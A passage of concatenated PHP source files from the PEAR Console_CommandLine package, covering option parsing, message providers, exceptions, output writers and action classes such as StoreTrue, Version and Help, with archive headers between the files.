            // true in order to stop option parsing.
            if (!$this->_stopflag && $this->force_posix) {
                $this->_stopflag = true;
            }
            if (!is_null($token)) {
                $args[] = $token;
            }
        }
    }

    // }}}
    // addBuiltinOptions() {{{

    /**
     * Adds the builtin "Help" and "Version" options if needed.
     *
     * @return void
     */
    public function addBuiltinOptions()
    {
        if ($this->add_help_option) {
            $helpOptionParams = array(
                'long_name'   => '--help',
                'description' => 'show this help message and exit',
                'action'      => 'Help'
            );
            if (!($option = $this->findOption('-h')) || $option->action == 'Help') {
                // short name is available, take it
                $helpOptionParams['short_name'] = '-h';
            }
            $this->addOption('help', $helpOptionParams);
        }
        if ($this->add_version_option && !empty($this->version)) {
            $versionOptionParams = array(
                'long_name'   => '--version',
                'description' => 'show the program version and exit',
                'action'      => 'Version'
            );
            if (!$this->findOption('-v')) {
                // short name is available, take it
                $versionOptionParams['short_name'] = '-v';
            }
            $this->addOption('version', $versionOptionParams);
        }
    }

    // }}}
    // getArgcArgv() {{{

    /**
     * Tries to return an array containing argc and argv, or trigger an error
     * if it fails to get them.
     *
     * @return array The argc/argv array
     * @throws Console_CommandLine_Exception
     */
    protected function getArgcArgv()
    {
        if (php_sapi_name() != 'cli') {
            // we have a web request
            $argv = array($this->name);
            if (isset($_REQUEST)) {
                foreach ($_REQUEST as $key => $value) {
                    if (!is_array($value)) {
                        $value = array($value);
                    }
                    $opt = $this->findOption($key);
                    if ($opt instanceof Console_CommandLine_Option) {
                        // match a configured option
                        $argv[] = $opt->short_name ?
                            $opt->short_name : $opt->long_name;
                        foreach ($value as $v) {
                            if ($opt->expectsArgument()) {
                                $argv[] = isset($_REQUEST[$key]) ? urldecode($v) : $v;
                            } else if ($v == '0' || $v == 'false') {
                                array_pop($argv);
                            }
                        }
                    } else if (isset($this->args[$key])) {
                        // match a configured argument
                        foreach ($value as $v) {
                            $argv[] = isset($_REQUEST[$key]) ? urldecode($v) : $v;
                        }
                    }
                }
            }
            return array(count($argv), $argv);
        }
        if (isset($argc) && isset($argv)) {
            // case of register_argv_argc = 1
            return array($argc, $argv);
        }
        if (isset($_SERVER['argc']) && isset($_SERVER['argv'])) {
            return array($_SERVER['argc'], $_SERVER['argv']);
        }
        return array(0, array());
    }

    // }}}
    // _dispatchAction() {{{

    /**
     * Dispatches the given option or store the option to dispatch it later.
     *
     * @param Console_CommandLine_Option $option The option instance
     * @param string                     $token  Command line token to parse
     * @param Console_CommandLine_Result $result The result instance
     *
     * @return void
     */
    private function _dispatchAction($option, $token, $result)
    {
        if ($option->action == 'Password') {
            $this->_dispatchLater[] = array($option, $token, $result);
        } else {
            $option->dispatchAction($token, $result, $this);
        }
    }
    // }}}
    // _getSubCommand() {{{

    /**
     * Tries to return the subcommand that matches the given token or returns
     * false if no subcommand was found.
     *
     * @param string $token Current command line token
     *
     * @return mixed An instance of Console_CommandLine_Command or false
     */
    private function _getSubCommand($token)
    {
        foreach ($this->commands as $cmd) {
            if ($cmd->name == $token || in_array($token, $cmd->aliases)) {
                return $cmd;
            }
        }
        return false;
    }

    // }}}
}
PK
h�\}uuz��@vendor/pear/console_commandline/Console/CommandLine/Renderer.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * This file is part of the PEAR Console_CommandLine package.
 *
 * PHP version 5
 *
 * LICENSE: This source file is subject to the MIT license that is available
 * through the world-wide-web at the following URI:
 * http://opensource.org/licenses/mit-license.php
 *
 * @category  Console 
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   CVS: $Id$
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     File available since release 0.1.0
 * @filesource
 */

/**
 * Renderers common interface, all renderers must implement this interface.
 *
 * @category  Console
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   Release: @package_version@
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     Class available since release 0.1.0
 */
interface Console_CommandLine_Renderer
{
    // usage() {{{

    /**
     * Returns the full usage message.
     *
     * @return string The usage message
     */
    public function usage();

    // }}}
    // error() {{{

    /**
     * Returns a formatted error message.
     *
     * @param string $error The error message to format
     *
     * @return string The error string
     */
    public function error($error);

    // }}}
    // version() {{{

    /**
     * Returns the program version string.
     *
     * @return string The version string
     */
    public function version();

    // }}}
}
PK
h�\���Ɏ�Mvendor/pear/console_commandline/Console/CommandLine/CustomMessageProvider.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * This file is part of the PEAR Console_CommandLine package.
 *
 * PHP version 5
 *
 * LICENSE: This source file is subject to the MIT license that is available
 * through the world-wide-web at the following URI:
 * http://opensource.org/licenses/mit-license.php
 *
 * @category  Console
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @author    Michael Gauthier <mike@silverorange.com>
 * @copyright 2007 David JEAN LOUIS, 2009 silverorange
 * @license   http://opensource.org/licenses/mit-license.php MIT License
 * @version   CVS: $Id$
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     File available since release 1.1.0
 * @filesource
 */

/**
 * Common interfacefor message providers that allow overriding with custom
 * messages
 *
 * Message providers may optionally implement this interface.
 *
 * @category  Console
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @author    Michael Gauthier <mike@silverorange.com>
 * @copyright 2007 David JEAN LOUIS, 2009 silverorange
 * @license   http://opensource.org/licenses/mit-license.php MIT License
 * @version   Release: @package_version@
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     Interface available since release 1.1.0
 */
interface Console_CommandLine_CustomMessageProvider
{
    // getWithCustomMesssages() {{{

    /**
     * Retrieves the given string identifier corresponding message.
     *
     * For a list of identifiers please see the provided default message
     * provider.
     *
     * @param string $code     The string identifier of the message
     * @param array  $vars     An array of template variables
     * @param array  $messages An optional array of messages to use. Array
     *                         indexes are message codes.
     *
     * @return string
     * @see Console_CommandLine_MessageProvider
     * @see Console_CommandLine_MessageProvider_Default
     */
    public function getWithCustomMessages(
        $code, $vars = array(), $messages = array()
    );

    // }}}
}
PK
h�\o�R^#-#->vendor/pear/console_commandline/Console/CommandLine/Option.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * This file is part of the PEAR Console_CommandLine package.
 *
 * PHP version 5
 *
 * LICENSE: This source file is subject to the MIT license that is available
 * through the world-wide-web at the following URI:
 * http://opensource.org/licenses/mit-license.php
 *
 * @category  Console 
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   CVS: $Id$
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     File available since release 0.1.0
 * @filesource
 */

/**
 * Required by this class.
 */
require_once 'Console/CommandLine.php';
require_once 'Console/CommandLine/Element.php';

/**
 * Class that represent a commandline option.
 *
 * @category  Console
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   Release: @package_version@
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     Class available since release 0.1.0
 */
class Console_CommandLine_Option extends Console_CommandLine_Element
{
    // Public properties {{{

    /**
     * The option short name (ex: -v).
     *
     * @var string $short_name Short name of the option
     */
    public $short_name;

    /**
     * The option long name (ex: --verbose).
     *
     * @var string $long_name Long name of the option
     */
    public $long_name;

    /**
     * The option action, defaults to "StoreString".
     *
     * @var string $action Option action
     */
    public $action = 'StoreString';

    /**
     * An array of possible values for the option. If this array is not empty 
     * and the value passed is not in the array an exception is raised.
     * This only make sense for actions that accept values of course.
     *
     * @var array $choices Valid choices for the option
     */
    public $choices = array();

    /**
     * The callback function (or method) to call for an action of type 
     * Callback, this can be any callable supported by the php function 
     * call_user_func.
     * 
     * Example:
     *
     * <code>
     * $parser->addOption('myoption', array(
     *     'short_name' => '-m',
     *     'long_name'  => '--myoption',
     *     'action'     => 'Callback',
     *     'callback'   => 'myCallbackFunction'
     * ));
     * </code>
     *
     * @var callable $callback The option callback
     */
    public $callback;

    /**
     * An associative array of additional params to pass to the class 
     * corresponding to the action, this array will also be passed to the 
     * callback defined for an action of type Callback, Example:
     *
     * <code>
     * // for a custom action
     * $parser->addOption('myoption', array(
     *     'short_name'    => '-m',
     *     'long_name'     => '--myoption',
     *     'action'        => 'MyCustomAction',
     *     'action_params' => array('foo'=>true, 'bar'=>false)
     * ));
     *
     * // if the user type:
     * // $ <yourprogram> -m spam
     * // in your MyCustomAction class the execute() method will be called
     * // with the value 'spam' as first parameter and 
     * // array('foo'=>true, 'bar'=>false) as second parameter
     * </code>
     *
     * @var array $action_params Additional parameters to pass to the action
     */
    public $action_params = array();

    /**
     * For options that expect an argument, this property tells the parser if 
     * the option argument is optional and can be ommited.
     *
     * @var bool $argumentOptional Whether the option arg is optional or not
     */
    public $argument_optional = false;

    /**
     * For options that uses the "choice" property only.
     * Adds a --list-<choice> option to the parser that displays the list of 
     * choices for the option.
     *
     * @var bool $add_list_option Whether to add a list option or not
     */
    public $add_list_option = false;

    // }}}
    // Private properties {{{

    /**
     * When an action is called remember it to allow for multiple calls.
     *
     * @var object $action_instance Placeholder for action
     */
    private $_action_instance = null;

    // }}}
    // __construct() {{{

    /**
     * Constructor.
     *
     * @param string $name   The name of the option
     * @param array  $params An optional array of parameters
     *
     * @return void
     */
    public function __construct($name = null, $params = array()) 
    {
        parent::__construct($name, $params);
        if ($this->action == 'Password') {
            // special case for Password action, password can be passed to the 
            // commandline or prompted by the parser
            $this->argument_optional = true;
        }
    }

    // }}}
    // toString() {{{

    /**
     * Returns the string representation of the option.
     *
     * @param string $delim Delimiter to use between short and long option
     *
     * @return string The string representation of the option
     * @todo use __toString() instead
     */
    public function toString($delim = ", ")
    {
        $ret     = '';
        $padding = '';
        if ($this->short_name != null) {
            $ret .= $this->short_name;
            if ($this->expectsArgument()) {
                $ret .= ' ' . $this->help_name;
            }
            $padding = $delim;
        }
        if ($this->long_name != null) {
            $ret .= $padding . $this->long_name;
            if ($this->expectsArgument()) {
                $ret .= '=' . $this->help_name;
            }
        }
        return $ret;
    }

    // }}}
    // expectsArgument() {{{

    /**
     * Returns true if the option requires one or more argument and false 
     * otherwise.
     *
     * @return bool Whether the option expects an argument or not
     */
    public function expectsArgument()
    {
        if ($this->action == 'StoreTrue' || $this->action == 'StoreFalse' ||
            $this->action == 'Help' || $this->action == 'Version' ||
            $this->action == 'Counter' || $this->action == 'List') {
            return false;
        }
        return true;
    }

    // }}}
    // dispatchAction() {{{

    /**
     * Formats the value $value according to the action of the option and 
     * updates the passed Console_CommandLine_Result object.
     *
     * @param mixed                      $value  The value to format
     * @param Console_CommandLine_Result $result The result instance
     * @param Console_CommandLine        $parser The parser instance
     *
     * @return void
     * @throws Console_CommandLine_Exception
     */
    public function dispatchAction($value, $result, $parser)
    {
        $actionInfo = Console_CommandLine::$actions[$this->action];
        if (true === $actionInfo[1]) {
            // we have a "builtin" action
            $tokens = explode('_', $actionInfo[0]);
            include_once implode('/', $tokens) . '.php';
        }
        $clsname = $actionInfo[0];
        if ($this->_action_instance === null) {
            $this->_action_instance  = new $clsname($result, $this, $parser);
        }

        // check value is in option choices
        if (!empty($this->choices) && !in_array($this->_action_instance->format($value), $this->choices)) {
            throw Console_CommandLine_Exception::factory(
                'OPTION_VALUE_NOT_VALID',
                array(
                    'name'    => $this->name,
                    'choices' => implode('", "', $this->choices),
                    'value'   => $value,
                ),
                $parser,
                $this->messages
            );
        }
        $this->_action_instance->execute($value, $this->action_params);
    }

    // }}}
    // validate() {{{

    /**
     * Validates the option instance.
     *
     * @return void
     * @throws Console_CommandLine_Exception
     * @todo use exceptions instead
     */
    public function validate()
    {
        // check if the option name is valid
        if (!preg_match('/^[a-zA-Z_\x7f-\xff]+[a-zA-Z0-9_\x7f-\xff]*$/',
            $this->name)) {
            Console_CommandLine::triggerError('option_bad_name',
                E_USER_ERROR, array('{$name}' => $this->name));
        }
        // call the parent validate method
        parent::validate();
        // a short_name or a long_name must be provided
        if ($this->short_name == null && $this->long_name == null) {
            Console_CommandLine::triggerError('option_long_and_short_name_missing',
                E_USER_ERROR, array('{$name}' => $this->name));
        }
        // check if the option short_name is valid
        if ($this->short_name != null && 
            !(preg_match('/^\-[a-zA-Z]{1}$/', $this->short_name))) {
            Console_CommandLine::triggerError('option_bad_short_name',
                E_USER_ERROR, array(
                    '{$name}' => $this->name, 
                    '{$short_name}' => $this->short_name
                ));
        }
        // check if the option long_name is valid
        if ($this->long_name != null && 
            !preg_match('/^\-\-[a-zA-Z]+[a-zA-Z0-9_\-]*$/', $this->long_name)) {
            Console_CommandLine::triggerError('option_bad_long_name',
                E_USER_ERROR, array(
                    '{$name}' => $this->name, 
                    '{$long_name}' => $this->long_name
                ));
        }
        // check if we have a valid action
        if (!is_string($this->action)) {
            Console_CommandLine::triggerError('option_bad_action',
                E_USER_ERROR, array('{$name}' => $this->name));
        }
        if (!isset(Console_CommandLine::$actions[$this->action])) {
            Console_CommandLine::triggerError('option_unregistered_action',
                E_USER_ERROR, array(
                    '{$action}' => $this->action,
                    '{$name}' => $this->name
                ));
        }
        // if the action is a callback, check that we have a valid callback
        if ($this->action == 'Callback' && !is_callable($this->callback)) {
            Console_CommandLine::triggerError('option_invalid_callback',
                E_USER_ERROR, array('{$name}' => $this->name));
        }
    }

    // }}}
    // setDefaults() {{{

    /**
     * Set the default value according to the configured action.
     *
     * Note that for backward compatibility issues this method is only called 
     * when the 'force_options_defaults' is set to true, it will become the
     * default behaviour in the next major release of Console_CommandLine.
     *
     * @return void
     */
    public function setDefaults()
    {
        if ($this->default !== null) {
            // already set
            return;
        }
        switch ($this->action) {
        case 'Counter':
        case 'StoreInt':
            $this->default = 0;
            break;
        case 'StoreFloat':
            $this->default = 0.0;
            break;
        case 'StoreArray':
            $this->default = array();
            break;
        case 'StoreTrue':
            $this->default = false;
            break;
        case 'StoreFalse':
            $this->default = true;
            break;
        default:
            return;
        }
    }

    // }}}
}
PK
h�\HSAޭ�Gvendor/pear/console_commandline/Console/CommandLine/MessageProvider.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * This file is part of the PEAR Console_CommandLine package.
 *
 * PHP version 5
 *
 * LICENSE: This source file is subject to the MIT license that is available
 * through the world-wide-web at the following URI:
 * http://opensource.org/licenses/mit-license.php
 *
 * @category  Console 
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   CVS: $Id$
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     File available since release 0.1.0
 * @filesource
 */

/**
 * Message providers common interface, all message providers must implement
 * this interface.
 *
 * @category  Console
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   Release: @package_version@
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     Class available since release 0.1.0
 */
interface Console_CommandLine_MessageProvider
{
    // get() {{{

    /**
     * Retrieves the given string identifier corresponding message.
     * For a list of identifiers please see the provided default message 
     * provider.
     *
     * @param string $code The string identifier of the message
     * @param array  $vars An array of template variables
     *
     * @return string
     * @see Console_CommandLine_MessageProvider_Default
     */
    public function get($code, $vars=array());

    // }}}
}
PK
h�\�3����Avendor/pear/console_commandline/Console/CommandLine/Exception.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * This file is part of the PEAR Console_CommandLine package.
 *
 * PHP version 5
 *
 * LICENSE: This source file is subject to the MIT license that is available
 * through the world-wide-web at the following URI:
 * http://opensource.org/licenses/mit-license.php
 *
 * @category  Console 
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   CVS: $Id$
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     File available since release 0.1.0
 * @filesource
 */

/**
 * Include the PEAR_Exception class
 */
require_once 'PEAR/Exception.php';

/**
 * Interface for custom message provider.
 */
require_once 'Console/CommandLine/CustomMessageProvider.php';

/**
 * Class for exceptions raised by the Console_CommandLine package.
 *
 * @category  Console
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   Release: @package_version@
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     Class available since release 0.1.0
 */
class Console_CommandLine_Exception extends PEAR_Exception
{
    // Codes constants {{{

    /**#@+
     * Exception code constants.
     */
    const OPTION_VALUE_REQUIRED   = 1;
    const OPTION_VALUE_UNEXPECTED = 2;
    const OPTION_VALUE_TYPE_ERROR = 3;
    const OPTION_UNKNOWN          = 4;
    const ARGUMENT_REQUIRED       = 5;
    const INVALID_SUBCOMMAND      = 6;
    /**#@-*/

    // }}}
    // factory() {{{

    /**
     * Convenience method that builds the exception with the array of params by
     * calling the message provider class.
     *
     * @param string              $code     The string identifier of the
     *                                      exception.
     * @param array               $params   Array of template vars/values
     * @param Console_CommandLine $parser   An instance of the parser
     * @param array               $messages An optional array of messages
     *                                      passed to the message provider.
     *
     * @return object an instance of Console_CommandLine_Exception
     */
    public static function factory(
        $code, $params, $parser, array $messages = array()
    ) {
        $provider = $parser->message_provider;
        if ($provider instanceof Console_CommandLine_CustomMessageProvider) {
            $msg = $provider->getWithCustomMessages(
                $code,
                $params,
                $messages
            );
        } else {
            $msg = $provider->get($code, $params);
        }
        $const = 'Console_CommandLine_Exception::' . $code;
        $code  = defined($const) ? constant($const) : 0;
        return new Console_CommandLine_Exception($msg, $code);
    }

    // }}}
}
PK
h�\둶���Ivendor/pear/console_commandline/Console/CommandLine/Outputter/Default.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * This file is part of the PEAR Console_CommandLine package.
 *
 * PHP version 5
 *
 * LICENSE: This source file is subject to the MIT license that is available
 * through the world-wide-web at the following URI:
 * http://opensource.org/licenses/mit-license.php
 *
 * @category  Console 
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   CVS: $Id$
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     File available since release 0.1.0
 * @filesource
 */

/**
 * The Outputter interface.
 */
require_once 'Console/CommandLine/Outputter.php';

/**
 * Console_CommandLine default Outputter.
 *
 * @category  Console
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   Release: @package_version@
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     Class available since release 0.1.0
 */
class Console_CommandLine_Outputter_Default implements Console_CommandLine_Outputter
{
    // stdout() {{{

    /**
     * Writes the message $msg to STDOUT.
     *
     * @param string $msg The message to output
     *
     * @return void
     */
    public function stdout($msg)
    {
        if (defined('STDOUT')) {
            fwrite(STDOUT, $msg);
        } else {
            echo $msg;
        }
    }

    // }}}
    // stderr() {{{

    /**
     * Writes the message $msg to STDERR.
     *
     * @param string $msg The message to output
     *
     * @return void
     */
    public function stderr($msg)
    {
        if (defined('STDERR')) {
            fwrite(STDERR, $msg);
        } else {
            echo $msg;
        }
    }

    // }}}
}
PK
h�\��f�GGHvendor/pear/console_commandline/Console/CommandLine/Action/StoreTrue.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * This file is part of the PEAR Console_CommandLine package.
 *
 * PHP version 5
 *
 * LICENSE: This source file is subject to the MIT license that is available
 * through the world-wide-web at the following URI:
 * http://opensource.org/licenses/mit-license.php
 *
 * @category  Console 
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   CVS: $Id$
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     File available since release 0.1.0
 * @filesource
 */

/**
 * Required by this class.
 */
require_once 'Console/CommandLine/Action.php';

/**
 * Class that represent the StoreTrue action.
 *
 * The execute method store the boolean 'true' in the corrsponding result
 * option array entry (the value is false if the option is not present in the 
 * command line entered by the user).
 *
 * @category  Console
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   Release: @package_version@
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     Class available since release 0.1.0
 */
class Console_CommandLine_Action_StoreTrue extends Console_CommandLine_Action
{
    // execute() {{{

    /**
     * Executes the action with the value entered by the user.
     *
     * @param mixed $value  The option value
     * @param array $params An array of optional parameters
     *
     * @return string
     */
    public function execute($value = false, $params = array())
    {
        $this->setResult(true);
    }
    // }}}
}
PK
h�\�o*��Fvendor/pear/console_commandline/Console/CommandLine/Action/Version.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * This file is part of the PEAR Console_CommandLine package.
 *
 * PHP version 5
 *
 * LICENSE: This source file is subject to the MIT license that is available
 * through the world-wide-web at the following URI:
 * http://opensource.org/licenses/mit-license.php
 *
 * @category  Console 
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   CVS: $Id$
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     File available since release 0.1.0
 * @filesource
 */

/**
 * Required by this class.
 */
require_once 'Console/CommandLine/Action.php';

/**
 * Class that represent the Version action, a special action that displays the
 * version string of the program.
 *
 * @category  Console
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   Release: @package_version@
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     Class available since release 0.1.0
 */
class Console_CommandLine_Action_Version extends Console_CommandLine_Action
{
    // execute() {{{

    /**
     * Executes the action with the value entered by the user.
     *
     * @param mixed $value  The option value
     * @param array $params An array of optional parameters
     *
     * @return string
     */
    public function execute($value = false, $params = array())
    {
        return $this->parser->displayVersion();
    }
    // }}}
}
PK
h�\�{-�		Ivendor/pear/console_commandline/Console/CommandLine/Action/StoreFloat.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * This file is part of the PEAR Console_CommandLine package.
 *
 * PHP version 5
 *
 * LICENSE: This source file is subject to the MIT license that is available
 * through the world-wide-web at the following URI:
 * http://opensource.org/licenses/mit-license.php
 *
 * @category  Console 
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   CVS: $Id$
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     File available since release 0.1.0
 * @filesource
 */

/**
 * Required by this class.
 */
require_once 'Console/CommandLine/Action.php';

/**
 * Class that represent the StoreFloat action.
 *
 * The execute method store the value of the option entered by the user as a
 * float in the result option array entry, if the value passed is not a float
 * an Exception is raised.
 *
 * @category  Console
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   Release: @package_version@
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     Class available since release 0.1.0
 */
class Console_CommandLine_Action_StoreFloat extends Console_CommandLine_Action
{
    // execute() {{{

    /**
     * Executes the action with the value entered by the user.
     *
     * @param mixed $value  The option value
     * @param array $params An array of optional parameters
     *
     * @return string
     * @throws Console_CommandLine_Exception
     */
    public function execute($value = false, $params = array())
    {
        if (!is_numeric($value)) {
            include_once 'Console/CommandLine/Exception.php';
            throw Console_CommandLine_Exception::factory(
                'OPTION_VALUE_TYPE_ERROR',
                array(
                    'name'  => $this->option->name,
                    'type'  => 'float',
                    'value' => $value
                ),
                $this->parser
            );
        }
        $this->setResult((float)$value);
    }
    // }}}
}
PK
h�\�?���Cvendor/pear/console_commandline/Console/CommandLine/Action/Help.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * This file is part of the PEAR Console_CommandLine package.
 *
 * PHP version 5
 *
 * LICENSE: This source file is subject to the MIT license that is available
 * through the world-wide-web at the following URI:
 * http://opensource.org/licenses/mit-license.php
 *
 * @category  Console 
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   CVS: $Id$
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     File available since release 0.1.0
 * @filesource
 */

/**
 * Required by this class.
 */
require_once 'Console/CommandLine/Action.php';

/**
 * Class that represent the Help action, a special action that displays the
 * help message, telling the user how to use the program.
 *
 * @category  Console
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   Release: @package_version@
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     Class available since release 0.1.0
 */
class Console_CommandLine_Action_Help extends Console_CommandLine_Action
{
    // execute() {{{

    /**
     * Executes the action with the value entered by the user.
     *
     * @param mixed $value  The option value
     * @param array $params An optional array of parameters
     *
     * @return string
     */
    public function execute($value = false, $params = array())
    {
        return $this->parser->displayUsage();
    }
    // }}}
}
PK
h�\��KKIvendor/pear/console_commandline/Console/CommandLine/Action/StoreFalse.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * This file is part of the PEAR Console_CommandLine package.
 *
 * PHP version 5
 *
 * LICENSE: This source file is subject to the MIT license that is available
 * through the world-wide-web at the following URI:
 * http://opensource.org/licenses/mit-license.php
 *
 * @category  Console 
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   CVS: $Id$
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     File available since release 0.1.0
 * @filesource
 */

/**
 * Required by this class.
 */
require_once 'Console/CommandLine/Action.php';

/**
 * Class that represent the StoreFalse action.
 *
 * The execute method store the boolean 'false' in the corrsponding result
 * option array entry (the value is true if the option is not present in the 
 * command line entered by the user).
 *
 * @category  Console
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   Release: @package_version@
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     Class available since release 0.1.0
 */
class Console_CommandLine_Action_StoreFalse extends Console_CommandLine_Action
{
    // execute() {{{

    /**
     * Executes the action with the value entered by the user.
     *
     * @param mixed $value  The option value
     * @param array $params An array of optional parameters
     *
     * @return string
     */
    public function execute($value = false, $params = array())
    {
        $this->setResult(false);
    }

    // }}}
}
PK
h�\��TO�	�	Gvendor/pear/console_commandline/Console/CommandLine/Action/Callback.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * This file is part of the PEAR Console_CommandLine package.
 *
 * PHP version 5
 *
 * LICENSE: This source file is subject to the MIT license that is available
 * through the world-wide-web at the following URI:
 * http://opensource.org/licenses/mit-license.php
 *
 * @category  Console 
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   CVS: $Id$
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     File available since release 0.1.0
 * @filesource
 */

/**
 * Required by this class.
 */
require_once 'Console/CommandLine/Action.php';

/**
 * Class that represent the Callback action.
 *
 * The result option array entry value is set to the return value of the
 * callback defined in the option.
 *
 * There are two steps to defining a callback option:
 *   - define the option itself using the callback action
 *   - write the callback; this is a function (or method) that takes five
 *     arguments, as described below.
 *
 * All callbacks are called as follows:
 * <code>
 * callable_func(
 *     $value,           // the value of the option
 *     $option_instance, // the option instance
 *     $result_instance, // the result instance
 *     $parser_instance, // the parser instance
 *     $params           // an array of params as specified in the option
 * );
 * </code>
 * and *must* return the option value.
 *
 * @category  Console
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   Release: @package_version@
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     Class available since release 0.1.0
 */
class Console_CommandLine_Action_Callback extends Console_CommandLine_Action
{
    // execute() {{{

    /**
     * Executes the action with the value entered by the user.
     *
     * @param mixed $value  The value of the option
     * @param array $params An optional array of parameters
